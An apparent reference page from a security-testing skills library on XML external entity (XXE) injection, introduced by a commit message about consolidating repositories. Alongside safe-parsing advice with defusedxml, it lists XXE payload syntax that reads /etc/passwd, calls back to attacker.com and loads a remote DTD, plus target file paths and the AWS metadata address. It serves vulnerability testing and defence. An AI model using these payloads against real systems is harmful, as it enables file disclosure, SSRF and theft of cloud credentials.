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sica-fondt/knowledge/cyber-skills/skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md
Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure 
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

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API Reference: Testing for XXE Injection Vulnerabilities

defusedxml Library (Safe Parsing)

Installation

pip install defusedxml

Safe Parsing

import defusedxml.ElementTree as ET
# Blocks external entities, DTD processing, entity expansion
tree = ET.fromstring(xml_string)

Protections enabled by default:

  • forbid_dtd: Blocks DOCTYPE declarations
  • forbid_entities: Blocks entity definitions
  • forbid_external: Blocks SYSTEM/PUBLIC entities

requests Library (XXE Testing)

Sending XML Payloads

headers = {"Content-Type": "application/xml"}
resp = requests.post(url, headers=headers, data=xxe_payload)

XXE Payload Types

Type Description Detection
Classic (in-band) Entity value in response Check for file contents
Blind (OOB HTTP) Entity triggers HTTP callback Monitor callback server
Blind (OOB DNS) Entity triggers DNS lookup Monitor DNS server
Parameter entity Uses %entity; in DTD Check callback server
PHP filter Base64 encodes file content Decode base64 in response
SSRF via XXE Access internal URLs Check for metadata/internal data

XXE Entity Syntax

<!-- Internal entity -->
<!ENTITY name "value">

<!-- External entity (file read) -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- External entity (HTTP) -->
<!ENTITY xxe SYSTEM "http://attacker.com/callback">

<!-- Parameter entity (used in DTD) -->
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;

File Paths for Testing

OS File Content Indicator
Linux /etc/passwd root:x:0:0
Linux /etc/hostname hostname string
Windows c:/windows/win.ini [fonts]
AWS http://169.254.169.254/latest/meta-data/ ami-id

References